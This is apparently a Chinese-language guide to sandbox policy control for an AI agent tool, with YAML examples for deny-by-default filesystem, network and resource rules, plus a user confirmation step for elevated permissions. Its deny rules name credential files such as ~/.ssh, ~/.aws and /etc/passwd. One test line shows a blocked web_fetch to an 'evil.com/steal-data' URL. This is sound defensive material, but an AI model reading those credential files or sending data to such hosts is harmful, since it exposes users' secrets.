沙箱策略控制(Sandbox Policy Control)是AI Agent安全执行的核心机制,通过精细化的权限控制确保工具在受控环境中运行。
沙箱策略是一组规则,定义了AI Agent在执行过程中可以做什么、不可以做什么:
沙箱策略 = 默认拒绝 + 白名单放行
策略组成:
├── 全局策略 (Global)
│ └── 适用于所有工具
├── 工具策略 (Tool-specific)
│ └── 特定工具的权限
└── 任务策略 (Task-specific)
└── 特定任务的权限
优先级: 任务策略 > 工具策略 > 全局策略
# ~/.openclaw/sandbox.yaml
sandbox:
# 默认策略: deny-all | allow-all
default: deny-all
# 文件系统策略
filesystem:
read:
allow:
- /home/user/**
- /tmp/**
- /app/**
deny:
- ~/.ssh/**
- ~/.aws/**
- /etc/passwd
write:
allow:
- /tmp/**
- /home/user/output/**
deny:
- /home/user/.bashrc
# 网络策略
network:
allow:
- "api.openai.com"
- "github.com"
- "*.googleapis.com"
deny:
- "10.0.0.0/8" # 内网
- "192.168.0.0/16" # 内网
# 资源限制
resources:
max_memory: 512MB
max_cpu_percent: 80
max_disk_mb: 1024
max_processes: 10
max_open_files: 100
工具调用请求
↓
检查任务策略 → 有特殊规则? → 应用
↓ (无)
检查工具策略 → 有特殊规则? → 应用
↓ (无)
应用全局策略
↓
策略决策:
├── ALLOW → 执行工具
├── DENY → 返回权限错误
└── PROMPT → 询问用户确认
# 只允许读取项目目录
sandbox:
filesystem:
read:
allow: ["/home/user/projects/**"]
write:
allow: ["/home/user/projects/output/**"]
deny: ["/home/user/projects/.env"]
# 测试
$ openclaw read /home/user/projects/README.md # ✅ 允许
$ openclaw read /etc/passwd # ❌ 拒绝
$ openclaw write /home/user/projects/.env "..." # ❌ 拒绝
# 只允许访问特定API
sandbox:
network:
allow:
- "api.openai.com"
- "api.anthropic.com"
deny:
- "*" # 拒绝其他所有
# 工具执行
$ openclaw web_fetch "https://api.openai.com/v1/..." # ✅ 允许
$ openclaw web_fetch "https://evil.com/steal-data" # ❌ 拒绝
# MCP服务器独立沙箱
mcp:
servers:
- name: "database"
sandbox:
filesystem:
read: [] # 禁止文件读取
write: [] # 禁止文件写入
network:
allow: ["db.internal.com"]
resources:
max_memory: 256MB
timeout: 30s
# 用户确认后临时提升权限
$ openclaw exec "deploy.sh" --sandbox-override
# 系统提示:
# ⚠️ 此操作需要额外权限:
# - 写入 /var/www/
# - 访问 api.production.com
#
# 确认临时提升权限? [y/N]
# 会话结束自动恢复原策略
| 模式 | 安全性 | 灵活性 | 适用场景 |
|---|---|---|---|
| deny-all | 🟢 最高 | 🔴 最低 | 生产环境 |
| allow-list | 🟢 高 | 🟡 中 | 推荐默认 |
| deny-list | 🟡 中 | 🟢 高 | 开发环境 |
| allow-all | 🔴 最低 | 🟢 最高 | 仅限测试 |
📅 最后更新: 2026-06-13 | 🏷️ 标签: 沙箱 安全策略 权限控制 v2026.6.6